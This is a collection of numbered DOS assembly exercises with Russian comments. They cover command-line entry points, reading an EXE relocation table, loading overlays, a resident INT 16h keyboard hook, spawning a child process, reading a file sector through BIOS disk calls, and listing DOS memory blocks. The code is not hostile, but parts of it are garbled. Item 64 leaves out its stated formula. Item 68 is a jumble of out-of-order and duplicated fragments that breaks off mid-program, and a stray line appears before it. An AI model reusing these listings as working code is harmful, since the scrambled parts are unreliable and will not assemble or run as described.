int 21h

pop ds

pop ax

ret

_temp db 0ah,0dh,24h

code ends

end _begin

64.Вывести формулы вычисления индекса в векторе

отображения для многомерного массива (размещены по столбцам).

Пусть имеется массив int t[i1...k1,...,in...kn] , который отображается в int T[1...N] , где :

n

N = П (km -im +1)

m=1

Вычисление индекса l в одномерном массиве T зависит от того, каким образом многомерный массив отображается на одномерный.

По столбцам :

где Dm =(km-1 - im +1)*Dm-1 для m = 2,n

65 программа с двумя точками входа. Передать текущую точку входа в командной строке.

_TEXT segment para public 'CODE'

org 100h

assume cs:_TEXT,ds:_TEXT,ss:_TEXT

main proc near

mov di,81h

@1: cmp byte ptr ds:[di],20h

jne @2

inc di

jmp short @1

@2: cmp word ptr ds:[di],'pe'

jne @4

inc di

inc di

cmp byte ptr ds:[di],'1'

jne @3

call ep1

jmp short @5

@3: cmp byte ptr ds:[di],'2'

jne @4

call ep2

jmp @5

@4: mov ah,09h

lea dx,msg0

int 21h

@5: mov ah,4ch

int 21h

main endp

ep1 proc near

mov ah,09

lea dx,msg1

int 21h

ret

ep1 endp

ep2 proc near

mov ah,09

lea dx,msg2

int 21h

ret

ep2 endp

msg0 db 'Syntax: 2ep[.com] ep(1,2)',13,10,'$'

msg1 db 'Entry_point_1',13,10,'$'

msg2 db 'Entry_point_2',13,10,'$'

_TEXT ends

end main

66 ;Программа выводит свою Relacation Table

bufSize = 100

bufRtSize = 0FFFh

Say macro MESSAGE_ADDR

lea dx,&MESSAGE_ADDR

mov ah,9

int 21h

endm

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATASG

MOV DS,AX

;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ

MOV AH,3DH

MOV AL,0

LEA DX,FN

INT 21H

MOV handle,AX

;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО Ф-ЛА

MOV AH,42H

MOV AL,00H

MOV BX,handle

MOV CX,0

MOV DX,0

INT 21H

;ЧТЕНИЕ ИЗ Ф-ЛА

MOV AH,3FH

MOV BX,handle

MOV CX,bufSize

MOV DX,OFFSET buf

INT 21H

lea bx,buf

mov ax,[bx+6]

mov ReloCnt,ax

push bx

call vivod

pop bx

mov ax,[bx+18h]

mov ReloOff,ax

push bx

call vivod

mov ax,ReloCnt

mov bx,2

mul bx

mov ReloSize,ax

pop bx

;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО RT

MOV AH,42H

MOV AL,00H

MOV BX,handle

MOV CX,0

MOV DX,ReloOff

INT 21H

;ЧТЕНИЕ RT ИЗ Ф-ЛА

mov ax,ReloSize

mov bx,2

mul bx

MOV CX,AX

MOV AH,3FH

MOV BX,handle

MOV DX,OFFSET bufRt

INT 21H

;ЗАКРЫТЬ ФАЙЛ

MOV AH,3EH

MOV BX,handle

INT 21H

lea bx,bufRt

mov di,0

outRt:

push bx

Say mess1

mov ax,[bx+di]

call vivod

pop bx

inc di

push bx

Say mess2

mov ax,[bx+di]

call vivod

pop bx

dec ReloCnt

inc di

cmp ReloCnt,0

jne outRt

exit:

mov ax,4c01h

int 21h

BEGIN ENDP

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,0ah

mov ah,02h

int 21h

mov dl,0dh

mov ah,02h

int 21h

RET

VIVOD endp

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

fn db 'rt.exe',0

handle dw ? ;дескриптор файла

buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла

bufRt db bufRtSize DUP(' ') ;область размещения Relocation Table

ReloCnt dw 0 ;число 4-байтовых элементов в таблице перенастроики

ReloOff dw 0 ;смещение таблицы перенастроики

ReloSize dw 0 ;размер Relocation Table в словах (2 байта)

@ dw 00h

mess1 db "I_off: ","$"

mess2 db "I_seg: ","$"

DATASG ENDS

END BEGIN

67 разбор командной строки и при определенном значении опции

загружает оверлей, выполняющий вывод сообщений на экран.

stack_size=200h

psp_len=100h

say macro message_addr

lea dx,&message_addr

mov ah,9

int 21h

endm

model small

jumps

st segment para

dw 200 dup(0)

st ends

dat segment

epb label word

env dw 0

comline dw param

dw dat

fcb1 dd 0

fcb2 dd 0

param db 80 dup (0)

About db "В командной строке должны быть переданы опции i#fy#inlude<>",10,13,'$'

execerr db "Неправильная опция",10,13,'$'

WrongOpt db 'Неправильная опция',10,13,'$'

Ebout db 'В кoмандной стрoке должны быть переданы опции i, #fy, #include<строка>',10,13,'$'

OptI db 'Выбрана опция I',10,13,'$'

OptFY db 'Выбрана опция FY',10,13,'$'

OptINC db 'Выбрана опция INCLUDE<строка>',10,13,'$'

Opt_lst db 'i'

db 'fy'

db 'include<>'

dat ends

c segment

assume ds:dat, ss:st, cs:c

start: mov ax,st

mov ss,ax

mov ax,dat

mov ds,ax

mov ah,62h

int 21h

mov es,bx

mov bx,80h

cmp byte ptr es:[bx],0

jz nocomline

jmp parsecomline

nocomline:

say About

jmp quit

parsecomline:

mov ax,es

mov bx,zz

sub bx,ax

mov ah,4ah

int 21h

mov ax,3700h

int 21h

mov al,dl

mov bx,80h

mov cl,es:[bx]

call skipspace

push es

mov dx,bx

CutFName:

cmp byte ptr es:[bx], 20h

je CLine

cmp byte ptr es:[bx], al

je CLine

cmp byte ptr es:[bx],0dh

je CLine

inc bx

dec cl

jmp CutFName

CLine:

mov byte ptr es:[bx], 0

cmp cl,0

je CL_Zero

dec cl

CL_Zero:

call SkipSpace

mov ax,dat

mov es,ax

mov PARAM,cl

pop ds

mov si,bx

mov di,offset Param+1

repnz movsb

mov byte ptr es:[di], 0dh

mov bx,offset EPB

mov ax,4b00h

int 21h

mov ax,dat

mov ds,ax

jnc Quit

Say ExecErr

Quit:

mov ah,4ch

int 21h

SkipSpace proc Near

inc bx

NextSpace:

cmp byte ptr es:[bx],' '

jne Continue

inc bx

dec cl

jmp NextSpace

Continue:

ret

SkipSpace ENDP

c ends

zz segment

zz ends

END Start

Start: jmp Begin

68 программа активизирующаяся по Int 16, с защитой от повторной загрузки.

.model small

.code

org 256

s: push cs

pop ds

call t

db '-е$'

t: pop dx

mov ah,9

int 33

mov ah,76

int 33

end s

mov bh,00

mov cx,7

push es

push cs

pop es

int 10h

pop es

pop bp dx cx bx ax

buy:

jmp dword ptr cs:[oldv]

oldv dd 00000000

int16 endp

init:

mov ax,3516h

int 21h

cmp word ptr es:bx,0fc80h

jne good

mov ah,9h

mov dx,offset message

int 21h

good:

mov word ptr ds:[oldv+2],es

mov word ptr ds:[oldv],bx

mov ax,2516h

mov dx,offset int16

int 21h

mov dx,offset init

int 27h

exit:

mov ax,4c00h

int 21h

message db 'Резидент загружен',13,10,'$'

end start

model tiny

jumps

codeseg

org 100h

start:

jmp init

int16 proc near

cmp ah,00h

jne buy

push ax bx cx dx bp

mov ax,0a07h

mov bh,00

mov cx,7

push es

push cs

pop es

int 10h

pop es

pop bp dx cx bx ax

buy:

jmp dword ptr cs:[oldv]

oldv dd 0000

;69Породить дочерний процесс, передав ему с помощью

;переменной среды TEMP1=<имя файла> путь к рабочему файлу

;SET TEMP1=a:\vasiliev\1\proc.com

.model tiny

jumps

.code

org 100h

text: jmp begin

PARAM db 127 dup(0)

exmp db 'TEMP1='

epb1 dw 0 ;сегмент среды dos (при 0 - текущая)

epb2 dd 0 ;адрес командной строки

;Переменные для хранения ss sp ds es

data dw 0 ;наш ds

dosdat dw 0 ;ds cреды dos

mov word ptr data,ds

begin: ;es=ds=psp

mov bx,100 ;минимальный размер программы

mov ah,4ah ;сжать блок

int 21h

;сохранение сегментов

mov bx,2ch ;2ch в PSP-номер параграфа окружения

mov cx,word ptr [bx]

mov word ptr [dosdat],cx

mov word ptr [data],ds

push cx

pop es

;поиск параметра

xor si,si

xor di,di

met2: cmp di,word ptr 5

je met3

mov al,byte ptr ds:[exmp+di]

cmp byte ptr es:[si],al

jne met1

inc si

inc di

jmp met2

met1: xor di,di

inc si

jmp met2

met3:

;сохранение найденного параметра

inc si

xor di,di

mov cx,128 ;80h

met4: mov al,byte ptr es:[si]

mov byte ptr ds:[param+di],al

cmp al,0

je met5

inc si

inc di

loop met4

met5: ;подготовка bpb

mov word ptr [epb2],80h

mov word ptr [epb2+2],ds

push ds

pop es

lea dx,PARAM

mov bx,offset epb1

mov ax,4b00h ;Запуск программы:загрузка и выполнение

int 21h

Quit: ;завершение программы и возврат в DOS

mov ah,4ch

int 21h

END text

Proc.asm

.model tiny

Jumps

.code

org 100h

start: jmp met

mess db 'Запущена программа','$'

met: lea dx,mess

mov ah,9h

int 21h

mov ah,4ch

int 21h

end start

70 Пилипец программа с двумя точками входа. Передать текущую точ-

ку входа в командной строке (EP1,2 - точки 1 и 2).

c segment

org 100h

assume cs:c,ds:c

start:

mov bx,80h

cmp byte ptr [bx],2

jne CommLinErr

SkipSpace:

inc bx

cmp byte ptr [bx],20h

je SkipSpace

cmp byte ptr [bx],'1'

je EntryPoint1

cmp byte ptr [bx],'2'

je EntryPoint2

CommLinErr:

mov ah,9

mov dx,offset err_mess

int 21h

jmp Quit

EntryPoint1:

mov ah,9

mov dx,offset mess_EP1

int 21h

jmp Quit

EntryPoint2:

mov ah,9

mov dx,offset mess_EP2

int 21h

Quit:

mov ah,4ch

int 21h

err_mess db "Error in command line.Use zd4 1|2",10,13,'$'

mess_EP1 db "Point 1.Ok.",10,13,'$'

mess_EP2 db "Point 2.Ok.",10,13,'$'

c ends

end start

71 Пилипец Вывести сектор текстового файла (по его номеру, задаваемому в

командной строке).

Code segment

org 100h

assume cs:Code,ds:Code,es:Code,ss:Code

Start:

call Get_Parms

jb Quit

mov bp,si

mov si,dx

lodsw

or al,20h

cmp ax,3A61h

jne Next

mov disk,0

jmp Next2

Next:

cmp ax,3A62h

jne Invalid_d

mov disk,1

Next2:

lodsb

cmp al,"\"

jne Invalid_d

mov filename,si

xor dx,dx

mov si,bp

Locs: lodsb

xor ah,ah

cmp al,20h

je Locs

cmp al,00

je The_Konec

cmp al,0Dh

je The_Konec

cmp al,30h

jb Invalid_d

cmp al,39h

ja Invalid_d

sub al,30h

push ax

mov bx,000Ah

mov ax,dx

mul bx

mov dx,ax

pop ax

add dx,ax

jmp Locs

The_Konec:

mov cluster,dx

call Read_Boot

call Read_Fat

call Read_Root

call Get_Begin_Cluster

jb Quit

call Find_Cluster

jmp Quit

Invalid_d:

mov ah,09h

mov dx,offset Irror

int 21h

Quit:

mov ah,4Ch

int 21h

Read_Fat:

xor dx,dx

mov ax,word ptr boot+16h

mov ch,02

mov cl,al

mov ax,word ptr boot+0Eh

mov bx,offset origin_Fat

call Sectors

mov ax,word ptr boot+16h

shl ax,10

mov bx,3

div bx

mov Fats,ax

mov cx,ax

mov si,offset origin_Fat

mov di,offset converted_Fat

Fat_Convert:

lodsw

mov dx,ax

xor ax,ax

lodsb

shl ax,4

mov bl,dh

shr bl,4

or al,bl

and dh,0Fh

push ax

mov ax,dx

stosw

pop ax

stosw

dec cx

dec cx

jg Fat_Convert

ret

Read_Root:

xor dx,dx

mov ax,word ptr boot+16h

xor bx,bx

mov bl,byte ptr boot+10h

mul bx

add ax,word ptr boot+0Eh

mov cx,word ptr boot+11h

shr cx,4

mov ch,02h

mov bx,offset Root

call Sectors

ret

Get_Begin_Cluster:

mov si,filename

mov di,offset file

mov cx,9

CCC:

lodsb

or al,al

je CCC2

cmp al,"."

jne CCC3

dec cx

mov al,20h

rep stosb

mov cx,3

jmp CCC

CCC3:

cmp al,41h

jb Next_top

and al,not 20h

Next_top:

stosb

dec cx

jne CCC

CCC2: mov al,00

stosb

mov cx,word ptr boot+11h

mov di,offset Root

G_M:

push di

mov si,offset file

push cx

mov cx,000Bh

rep cmpsb

pop cx

pop di

je G_Quit

add di,0020h

loop G_M

stc

ret

G_Quit:

mov ax,word ptr [di+1Ah]

mov our_file,di

clc

ret

Read_Boot:

mov ax,0201h

mov bx,offset boot

xor cx,cx

inc cx

xor dx,dx

mov dl,disk

int 13h

ret

Sectors: ; dx:ax - sector number to read

; cl - how many sectors

; ch = 2 - read

; ch = 3 - write

push bx

div word ptr boot+18h

inc dl

mov t_sector,dl

xor dx,dx

div word ptr boot+1Ah

mov dh,dl

mov dl,disk

; ax=Cylinder number

mov bx,cx

mov cl,ah

shl cl,6

mov ch,al

or cl,t_sector

mov ax,bx

pop bx

int 13h

ret

t_sector db ?

Read_Sector:

call Into_File_Space

mov cx,0201h

call Sectors

ret

Write_Sector:

call Into_File_Space

mov cx,0301h

call Sectors

ret

Into_File_Space:

push bx

mov bp,ax

xor dx,dx

mov bx,word ptr boot+10h ; Number of Fat copies

mov ax,word ptr boot+16h

xor bh,bh

mul bx

mov bx,word ptr boot+11h ; Number of Root Elements

shr bx,4

add ax,bx

add ax,word ptr boot+0Eh ; Reserved+Boot Sectors

add ax,bp

sub ax,2

pop bx

ret

Find_Cluster:

mov cx,cluster

mov si,offset converted_Fat

Find_C:

mov bx,ax

add bx,bx

mov bx,word ptr [si+bx]

jcxz Find_Simple

dec cx

cmp bx,0FFFh

je NoThatCluster

mov ax,bx

jmp Find_C

NoThatCluster:

mov ah,09h

mov dx,offset NotCluster

int 21h

jmp Quit

Find_Simple:

mov bx,offset sector

call Read_Sector

mov ax,0003h

int 10h

mov cx,200h

mov si,offset sector

Print:

lodsb

cmp al,20h

jnb Print_Good

mov al,20h

Print_Good:

mov ah,0Eh

int 10h

loop Print

ret

include task_2a.asm

Irror db 0Ah,0Dh,"Invalid syntax!$"

NotCluster db 0Ah,0Dh,"File consist of lower count of clusters!$"

cluster dw ?

correction db 0

file db 13 dup(?)

our_file dw ?

Fats dw ?

boot db 200h dup(?)

origin_Fat db 2000h dup(?)

converted_Fat db 2000h dup(?)

Root db 2000h dup(?)

sector db 200h dup(?)

filename dw ?

disk db ?

Code ends

end Start

72 Программа определения сегментных адресов блоков памяти, при-

надлежащих DOS.

;task #3

.286

Code segment

org 100h

assume cs:Code, ds:Code, ss:Code

Start:

lea dx,Begin

call Print

mov ah,52h

int 21h

mov ax,word ptr es:[bx-2]

mov ds,ax

Main:

xor si,si

inc si

inc ax

cmp word ptr [si],8

je Good

cmp ax,word ptr [si]

je Good

jmp Next_4

Good:

push ax

push si

mov si,8

mov cs:system,1

call Compare

mov di,1

mov ax,word ptr [di]

cmp ax,8

je Print_sss

cmp cs:system,1

jne Next_4

Print_sss:

push ds cs

pop ds

mov ah,09h

lea dx,dos

int 21h

pop ds

pop si

pop ax

call Print_Space

call Print_Space

call Print_AX2

xor si,si

mov ax,[si+1]

Next:

call Print_AX2

call Print_End

;Next_3:

Next_4:

xor si,si

mov ax,ds

add ax,word ptr [si+3]

inc ax

mov ds,ax

cmp byte ptr [si],5Ah

jne Main

mov ah,4Ch

int 21h

Print_AX:

mov dx,ax

mov al,dh

call Print_AL

mov al,dl

Print_AL:

mov bl,al

shr al,4

call Print_H

mov al,bl

and al,0Fh

Print_H:

add al,30h

cmp al,39h

jbe PPP

add al,7

PPP: mov ah,0Eh

int 10h

ret

Print_Space:

push ax

mov al,20h

mov ah,0Eh

int 10h

pop ax

ret

Print_End:

mov ah,0Eh

mov al,0Ah

int 10h

mov ah,0Eh

mov al,0Dh

int 10h

ret

Print:

push ds

push cs

pop ds

mov ah,09h

int 21h

pop ds

ret

Print_AX2:

call Print_AX

call Print_Space

ret

Compare:

push si es

push cs

pop es

lea di,comp

mov cx,7

C_Cycle:

lodsb

or al,20h

cmp byte ptr es:[di],al

je C_N

mov cs:system,0

C_N: inc di

dec cx

jne C_Cycle

pop es si

ret

Begin db 0Ah,0Dh,"Статус MCB PSP",0Ah,0Dh,"$"

dos db "Занято MS DOS! $"

comp db "command"

system db ?

Code ends

end Start

Hosted by uCoz